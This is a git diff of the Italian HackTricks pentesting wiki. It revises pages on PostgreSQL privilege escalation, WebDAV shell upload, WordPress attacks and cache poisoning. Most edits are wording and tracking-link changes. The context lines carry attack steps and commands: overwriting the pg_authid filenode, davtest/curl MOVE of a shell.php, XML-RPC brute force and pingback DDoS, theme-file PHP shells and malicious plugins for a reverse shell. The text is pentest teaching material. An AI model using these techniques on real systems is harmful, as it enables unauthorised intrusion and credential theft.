-Il seguente vettore di privesc è particolarmente utile in contesti SQLi limitati, poiché tutti i passaggi possono essere eseguiti tramite istruzioni SELECT nidificate
+Il seguente vettore di privesc è particolarmente utile in contesti di SQLi limitati, poiché tutti i passaggi possono essere eseguiti tramite istruzioni SELECT nidificate
{% endhint %}
Se puoi **leggere e scrivere file del server PostgreSQL**, puoi **diventare un superutente** sovrascrivendo il filenode su disco di PostgreSQL, associato alla tabella interna `pg_authid`.
@@ -746,7 +742,7 @@ I passaggi dell'attacco sono:
1. Ottenere la directory dei dati di PostgreSQL
2. Ottenere un percorso relativo al filenode, associato alla tabella `pg_authid`
3. Scaricare il filenode tramite le funzioni `lo_*`
-4. Ottenere il tipo di dati, associato alla tabella `pg_authid`
+4. Ottenere il tipo di dati associato alla tabella `pg_authid`
5. Utilizzare il [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) per [modificare il filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); impostare tutti i flag booleani `rol*` su 1 per le autorizzazioni complete.
6. Ricaricare il filenode modificato tramite le funzioni `lo_*`, e sovrascrivere il file originale sul disco
7. _(Opzionale)_ Svuotare la cache della tabella in memoria eseguendo una query SQL costosa
@@ -760,7 +756,7 @@ msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```
-### registrazione
+### logging
All'interno del file _**postgresql.conf**_ è possibile abilitare i log di postgresql modificando:
```bash
@@ -786,6 +782,6 @@ string pgadmin4.db
```
### pg\_hba
-L'autenticazione del client in PostgreSQL è gestita attraverso un file di configurazione chiamato **pg\_hba.conf**. Questo file contiene una serie di record, ciascuno specificando un tipo di connessione, intervallo di indirizzi IP del client (se applicabile), nome del database, nome utente e il metodo di autenticazione da utilizzare per le connessioni corrispondenti. Il primo record che corrisponde al tipo di connessione, all'indirizzo del client, al database richiesto e al nome utente viene utilizzato per l'autenticazione. Non c'è alcun fallback o backup se l'autenticazione fallisce. Se nessun record corrisponde, l'accesso è negato.
+L'autenticazione del client in PostgreSQL è gestita attraverso un file di configurazione chiamato **pg\_hba.conf**. Questo file contiene una serie di record, ciascuno specificando un tipo di connessione, intervallo di indirizzi IP del client (se applicabile), nome del database, nome utente e il metodo di autenticazione da utilizzare per le connessioni corrispondenti. Il primo record che corrisponde al tipo di connessione, all'indirizzo del client, al database richiesto e al nome utente viene utilizzato per l'autenticazione. Non c'è alcun fallback o backup se l'autenticazione fallisce. Se nessun record corrisponde, l'accesso viene negato.
-I metodi di autenticazione basati su password disponibili in pg\_hba.conf sono **md5**, **crypt** e **password**. Questi metodi differiscono per il modo in cui la password viene trasmessa: in formato MD5-hash, crittografata con crypt o in testo normale. È importante notare che il metodo crypt non può essere utilizzato con password che sono state crittografate in pg\_authid.
+I metodi di autenticazione basati su password disponibili in pg\_hba.conf sono **md5**, **crypt** e **password**. Questi metodi differiscono per come la password viene trasmessa: in formato MD5-hash, crittografata con crypt o in testo normale. È importante notare che il metodo crypt non può essere utilizzato con password che sono state crittografate in pg\_authid.
diff --git a/network-services-pentesting/pentesting-web/put-method-webdav.md b/network-services-pentesting/pentesting-web/put-method-webdav.md
index b045266ab..3811d26b9 100644
--- a/network-services-pentesting/pentesting-web/put-method-webdav.md
+++ b/network-services-pentesting/pentesting-web/put-method-webdav.md
@@ -3,10 +3,10 @@
\
-Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
@@ -14,11 +14,11 @@ Ottieni l'accesso oggi:
Altri modi per supportare HackTricks:
-* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
-* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
-* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
+* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
+* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
@@ -30,11 +30,11 @@ Per superare le restrizioni sui caricamenti di file, specialmente quelli che imp
* **Caricare** file con **estensioni eseguibili** direttamente se non sono limitati.
* **Rinominare** i file non eseguibili caricati (come .txt) con un'estensione eseguibile.
-* **Copiare** i file non eseguibili caricati, cambiando la loro estensione in una che è eseguibile.
+* **Copiare** i file non eseguibili caricati, cambiando la loro estensione in una eseguibile.
## DavTest
-**Davtest** cerca di **caricare diversi file con estensioni diverse** e **verifica** se l'estensione viene **eseguita**:
+**Davtest** cerca di **caricare diversi file con estensioni diverse** e **controlla** se l'estensione viene **eseguita**:
```bash
davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension
@@ -56,22 +56,22 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
-## Vulnerabilità WebDav di IIS5/6
+## Vulnerabilità WebDav in IIS5/6
-Questa vulnerabilità è molto interessante. Il **WebDav** **non permette** di **caricare** o **rinominare** file con l'estensione **.asp**. Ma puoi **aggirare** questo problema **aggiungendo** alla fine del nome **";.txt"** e il file verrà **eseguito** come se fosse un file .asp (potresti anche **usare ".html" invece di ".txt"** ma **NON dimenticare il ";"**).
+Questa vulnerabilità è molto interessante. Il **WebDav** **non permette** di **caricare** o **rinominare** file con estensione **.asp**. Tuttavia, è possibile **aggirare** questo problema **aggiungendo** alla fine del nome **";.txt"** e il file verrà **eseguito** come se fosse un file .asp (si potrebbe anche **usare ".html" invece di ".txt"** ma **NON dimenticare il ";"**).
Quindi puoi **caricare** la tua shell come file ".**txt"** e **copiarla/spostarla in un file ".asp;.txt"**. Accedendo a quel file attraverso il server web, verrà **eseguito** (cadaver dirà che l'azione di spostamento non ha funzionato, ma in realtà ha funzionato).
![](<../../.gitbook/assets/image (1092).png>)
-## Credenziali di posta
+## Credenziali post
-Se il Webdav stava utilizzando un server Apache dovresti guardare i siti configurati in Apache. Comunemente:\
+Se il Webdav utilizzava un server Apache, dovresti controllare i siti configurati in Apache. Comunemente:\
_**/etc/apache2/sites-enabled/000-default**_
All'interno potresti trovare qualcosa del genere:
@@ -85,7 +85,7 @@ AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
-Come puoi vedere ci sono i file con le **credenziali** valide per il server **webdav**:
+Come puoi vedere, ci sono i file con le **credenziali** valide per il server **webdav**:
```
/etc/apache2/users.password
```
@@ -113,14 +113,14 @@ Altri modi per supportare HackTricks:
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari **più avanzati al mondo**.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %}
diff --git a/network-services-pentesting/pentesting-web/wordpress.md b/network-services-pentesting/pentesting-web/wordpress.md
index 53cab39c6..cbc853121 100644
--- a/network-services-pentesting/pentesting-web/wordpress.md
+++ b/network-services-pentesting/pentesting-web/wordpress.md
@@ -2,7 +2,7 @@
-Impara l'hacking AWS da zero a eroe conhtARTE (Esperto Red Team AWS di HackTricks)!
+Impara l'hacking AWS da zero a ero conhtARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
@@ -10,22 +10,22 @@ Altri modi per supportare HackTricks:
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
## Informazioni di Base
I file **caricati** vanno a: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
-I **file dei temi possono essere trovati in /wp-content/themes/**, quindi se modifichi qualche php del tema per ottenere RCE probabilmente userai quel percorso. Ad esempio: Utilizzando il **tema twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
+I file dei **temi possono essere trovati in /wp-content/themes/**, quindi se modifichi qualche php del tema per ottenere RCE probabilmente userai quel percorso. Ad esempio: Utilizzando il **tema twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**Un'altra URL utile potrebbe essere:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
In **wp-config.php** puoi trovare la password di root del database.
@@ -36,13 +36,13 @@ Percorsi di accesso predefiniti da controllare: _**/wp-login.php, /wp-login/, /w
* `index.php`
* `license.txt` contiene informazioni utili come la versione di WordPress installata.
-* `wp-activate.php` è utilizzato per il processo di attivazione dell'email durante la configurazione di un nuovo sito WordPress.
+* `wp-activate.php` è utilizzato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress.
* Cartelle di accesso (possono essere rinominate per nasconderle):
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
-* `xmlrpc.php` è un file che rappresenta una funzionalità di WordPress che consente di trasmettere dati con HTTP agendo come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla [REST API](https://developer.wordpress.org/rest-api/reference) di WordPress.
+* `xmlrpc.php` è un file che rappresenta una funzionalità di WordPress che consente di trasmettere dati con HTTP agendo come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dall'[API REST](https://developer.wordpress.org/rest-api/reference) di WordPress.
* La cartella `wp-content` è la directory principale dove vengono memorizzati i plugin e i temi.
* `wp-content/uploads/` È la directory dove vengono memorizzati i file caricati sulla piattaforma.
* `wp-includes/` Questa è la directory dove sono memorizzati i file core, come certificati, font, file JavaScript e widget.
@@ -100,7 +100,7 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
```
### Estrarre versioni in generale
-{% endcode %}
+{% code overflow="wrap" %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@@ -110,16 +110,16 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati al mondo**.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati al mondo**.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
## Enumerazione attiva
### Plugin e Temi
-Probabilmente non sarai in grado di trovare tutti i Plugin e Temi possibili. Per scoprirli tutti, dovrai **forzare attivamente un elenco di Plugin e Temi** (fortunatamente ci sono strumenti automatizzati che contengono questi elenchi).
+Probabilmente non sarai in grado di trovare tutti i Plugin e Temi possibili. Per scoprirli tutti, dovrai **forzare attivamente un elenco di Plugin e Temi** (per fortuna ci sono strumenti automatizzati che contengono questi elenchi).
### Utenti
@@ -143,7 +143,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Nota che questo endpoint espone solo gli utenti che hanno pubblicato un post. **Saranno fornite informazioni solo sugli utenti che hanno questa funzionalità abilitata**.
-Nota anche che **/wp-json/wp/v2/pages** potrebbe rivelare gli indirizzi IP.
+Inoltre, nota che **/wp-json/wp/v2/pages** potrebbe rivelare gli indirizzi IP.
#### Enumerazione dei nomi utente per il login
@@ -166,7 +166,7 @@ Per verificare se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia quest
**Bruteforce delle credenziali**
-**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere utilizzati per forzare le credenziali. Se riesci a trovarne uno, puoi inviare qualcosa del genere:
+**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere utilizzati per forzare le credenziali. Se riesci a trovarne uno qualsiasi, puoi inviare qualcosa del genere:
```markup
wp.getUsersBlogs
@@ -176,9 +176,9 @@ Per verificare se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia quest
```
-Il messaggio _"Nome utente o password non corretti"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
+Il messaggio _"Nome utente o password non corretti"_ all'interno di una risposta codice 200 dovrebbe apparire se le credenziali non sono valide.
-![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
+![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../.gitbook/assets/image (721).png>)
@@ -212,18 +212,18 @@ Utilizzando le credenziali corrette è possibile caricare un file. Nella rispost
```
-Anche esiste un **modo più veloce** per forzare le credenziali usando **`system.multicall`** poiché è possibile provare diverse credenziali nella stessa richiesta:
+Anche c'è un **modo più veloce** per forzare le credenziali usando **`system.multicall`** poiché è possibile provare diverse credenziali nella stessa richiesta:
-**Eludere l'Autenticazione a Due Fattori (2FA)**
+**Bypass 2FA**
-Questo metodo è pensato per i programmi e non per gli esseri umani, ed è obsoleto, quindi non supporta il 2FA. Quindi, se si dispongono di credenziali valide ma l'ingresso principale è protetto da 2FA, **potresti riuscire ad abusare di xmlrpc.php per effettuare il login con tali credenziali eludendo il 2FA**. Si noti che non sarà possibile eseguire tutte le azioni che si possono fare tramite la console, ma potresti comunque riuscire ad ottenere l'esecuzione remota del codice come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
+Questo metodo è pensato per i programmi e non per gli esseri umani, ed è obsoleto, quindi non supporta il 2FA. Quindi, se hai credenziali valide ma l'ingresso principale è protetto dal 2FA, **potresti riuscire ad abusare di xmlrpc.php per effettuare il login con quelle credenziali eludendo il 2FA**. Nota che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque riuscire ad ottenere l'RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
**DDoS o scansione delle porte**
Se riesci a trovare il metodo _**pingback.ping**_ nell'elenco, puoi fare in modo che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.\
-Questo può essere utilizzato per far sì che **migliaia** di **siti** Wordpress **accedano** a una **posizione** specifica (causando così un **DDoS** in quella posizione) oppure puoi usarlo per far sì che **Wordpress** **scansioni** una rete interna (puoi indicare qualsiasi porta).
+Questo può essere utilizzato per chiedere a **migliaia** di **siti** Wordpress di **accedere** a una **posizione** specifica (causando così un **DDoS** in quella posizione) oppure puoi usarlo per fare in modo che **Wordpress** **scansioni** una rete interna (puoi indicare qualsiasi porta).
```markup
pingback.ping
@@ -253,7 +253,7 @@ Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per i
### wp-cron.php DoS
-Questo file di solito si trova sotto la radice del sito Wordpress: **`/wp-cron.php`**\
+Questo file di solito esiste sotto la radice del sito Wordpress: **`/wp-cron.php`**\
Quando questo file viene **accesso** viene eseguita una **query** MySQL "**pesante**, quindi potrebbe essere utilizzato dagli **attaccanti** per **causare** un **DoS**.\
Inoltre, per impostazione predefinita, `wp-cron.php` viene chiamato ad ogni caricamento della pagina (ogni volta che un client richiede una qualsiasi pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
@@ -282,14 +282,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
\
-Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
## Ottieni l'accesso sovrascrivendo un bit
-Più che un vero attacco, si tratta di una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) potevi invertire 1 bit da qualsiasi file di Wordpress. Quindi potevi invertire la posizione `5389` del file `/var/www/html/wp-includes/user.php` per annullare l'operazione NOT (`!`).
+Più che un vero attacco, questa è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) potevi invertire 1 bit da qualsiasi file di Wordpress. Quindi potevi invertire la posizione `5389` del file `/var/www/html/wp-includes/user.php` per annullare l'operazione NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@@ -300,7 +300,7 @@ return new WP_Error(
Aspetto → Editor del tema → Modello 404 (a destra)
-Modifica il contenuto per inserire uno shell php:
+Modificare il contenuto per un php shell:
![](<../../.gitbook/assets/image (384).png>)
@@ -308,22 +308,22 @@ Cerca su internet come puoi accedere a quella pagina aggiornata. In questo caso
### MSF
-Puoi utilizzare:
+Puoi usare:
```
use exploit/unix/webapp/wp_admin_shell_upload
```
+per ottenere una sessione.
+
## Plugin RCE
-### Plugin RCE
-
-### Plugin RCE
+### Plugin PHP
Potrebbe essere possibile caricare file .php come plugin.\
Crea il tuo backdoor php utilizzando ad esempio:
![](<../../.gitbook/assets/image (183).png>)
-Poi aggiungi un nuovo plugin:
+Quindi aggiungi un nuovo plugin:
![](<../../.gitbook/assets/image (722).png>)
@@ -345,7 +345,7 @@ Accedici e vedrai l'URL per eseguire il reverse shell:
### Caricamento e attivazione di plugin dannosi
-Questo metodo coinvolge l'installazione di un plugin dannoso noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito attraverso il dashboard di WordPress nel seguente modo:
+Questo metodo coinvolge l'installazione di un plugin dannoso noto per essere vulnerabile e che può essere sfruttato per ottenere una web shell. Questo processo viene eseguito attraverso il dashboard di WordPress nel seguente modo:
1. **Acquisizione del Plugin**: Il plugin viene ottenuto da una fonte come Exploit DB come [**qui**](https://www.exploit-db.com/exploits/36374).
2. **Installazione del Plugin**:
@@ -357,11 +357,11 @@ Questo metodo coinvolge l'installazione di un plugin dannoso noto per essere vul
* Il framework Metasploit fornisce uno sfruttamento per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, può essere stabilita una sessione meterpreter, concedendo l'accesso non autorizzato al sito.
* Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
-Il contenuto include aiuti visivi che rappresentano i passaggi nel dashboard di WordPress per l'installazione e l'attivazione del plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale ed etico senza un'autorizzazione adeguata. Queste informazioni dovrebbero essere utilizzate in modo responsabile e solo in un contesto legale, come il penetration testing con esplicita autorizzazione.
+Il contenuto include aiuti visivi che rappresentano i passaggi nel dashboard di WordPress per l'installazione e l'attivazione del plugin. Tuttavia, è importante notare che sfruttare le vulnerabilità in questo modo è illegale ed anti-etico senza l'autorizzazione adeguata. Queste informazioni dovrebbero essere utilizzate in modo responsabile e solo in un contesto legale, come il penetration testing con autorizzazione esplicita.
**Per passaggi più dettagliati controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\***](https://www.hackingarticles.in/wordpress-reverse-shell/)
-## Post Exploitation
+## Post Esploitation
Estrai nomi utente e password:
```bash
@@ -375,7 +375,7 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE
### Aggiornamenti Regolari
-Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma inoltre che gli aggiornamenti automatici siano abilitati in wp-config.php:
+Assicurati che WordPress, i plugin e i temi siano aggiornati. Conferma inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
@@ -393,28 +393,28 @@ Inoltre, **installa solo plugin e temi WordPress affidabili**.
* Rimuovi l'utente **admin** predefinito
* Utilizza **password sicure** e **2FA**
-* Rivedi periodicamente le **autorizzazioni** degli utenti
+* Rivedi periodicamente i **permessi** degli utenti
* **Limita i tentativi di accesso** per prevenire attacchi di Forza Bruta
* Rinomina il file **`wp-admin.php`** e permetti l'accesso solo internamente o da determinati indirizzi IP.
\
-Utilizza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare e **automatizzare flussi di lavoro** con gli strumenti comunitari più avanzati al mondo.\
-Ottieni l'accesso oggi:
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) per creare e **automatizzare flussi di lavoro** con gli strumenti comunitari più avanzati al mondo.\
+Ottieni l'Accesso Oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
-Impara l'hacking di AWS da zero a eroe conhtARTE (HackTricks AWS Red Team Expert)!
+Impara l'hacking di AWS da zero a esperto conhtARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
-* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
-* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
+* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/cache-deception/README.md b/pentesting-web/cache-deception/README.md
index a8fd155b6..e8f9a4c79 100644
--- a/pentesting-web/cache-deception/README.md
+++ b/pentesting-web/cache-deception/README.md
@@ -1,4 +1,4 @@
-# Avvelenamento della Cache e Inganno della Cache
+# Cache Poisoning e Cache Deception
@@ -17,35 +17,35 @@ Altri modi per supportare HackTricks:
\
-Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
